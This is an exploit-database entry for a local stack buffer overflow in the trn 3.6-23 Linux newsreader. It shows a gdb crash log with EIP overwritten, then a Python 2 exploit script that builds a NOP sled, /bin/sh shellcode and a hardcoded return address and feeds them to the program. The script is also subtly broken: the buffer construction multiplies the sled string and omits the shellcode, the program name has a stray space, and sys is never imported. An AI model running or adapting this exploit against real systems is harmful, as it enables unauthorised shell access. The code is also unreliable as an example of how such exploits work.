TRN Threaded USENET News Reader 3.6-23 - Local Stack Overflow

EDB-ID:
39764

CVE:
N/A

EDB Verified: ×

Author:
JUAN SACCO

Type:
LOCAL

Exploit: / {}

Platform:
LINUX

Date:
2016-05-04

Vulnerable App:

```
# Exploit developed using Exploit Pack v5.4
# Exploit Author: Juan Sacco - http://www.exploitpack.com -
jsacco@exploitpack.com
# Program affected: Threaded USENET news reader
# Version: 3.6-23
#
# Tested and developed under:  Kali Linux 2.0 x86 - https://www.kali.org
# Program description: Threaded USENET news reader, based on rn
# trn is the most widely-used newsreader on USENET
# Kali Linux 2.0 package: pool/non-free/t/trn/trn_3.6-23_i386.deb
# MD5sum: 57782e66c4bf127af0d252db9439fbdf
# Website: https://sourceforge.net/projects/trn/
#
# gdb$ run $(python -c 'print "A"*156+"DCBA"')
# Starting program: /usr/bin/trn $(python -c 'print "A"*156+"DCBA"')
#
# Program received signal SIGSEGV, Segmentation fault.
# ------------------------------------------------------------------------
-[regs]
#   EAX: 0x00000000  EBX: 0x41414141  ECX: 0x00000000  EDX: 0x0809040C  o d
I t S z a p c
#   ESI: 0x41414141  EDI: 0x41414141  EBP: 0x41414141  ESP: 0xBFFFED60
EIP: 0x41424344
#   CS: 0073  DS: 007B  ES: 007B  FS: 0000  GS: 0033  SS: 007BError while
running hook_stop:
# Cannot access memory at address 0x41424344
# 0x41424344 in ?? ()


import os, subprocess

def run():
  try:
    print "# TRN Threaded Reader - Stack Buffer Overflow by Juan Sacco"
    print "# This Exploit has been developed using Exploit Pack"
    # NOPSLED + SHELLCODE + EIP

    buffersize = 160
    nopsled = "\x90"*132
    shellcode =
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
    eip = "\xd0\xec\xff\xbf"
    buffer = nopsled * (buffersize-len(shellcode)) + eip
    subprocess.call(["trn ",' ', buffer])


  except OSError as e:
    if e.errno == os.errno.ENOENT:
        print "Sorry, Threaded Reader - Not found!"
    else:
        print "Error executing exploit"
    raise

def howtousage():
  print "Snap! Something went wrong"
  sys.exit(-1)

if __name__ == '__main__':
  try:
    print "Exploit TRN 3.6-23 Local Overflow Exploit"
    print "Author: Juan Sacco - Exploit Pack"
  except IndexError:
    howtousage()
run()
```

Tags:

Advisory/Source: Link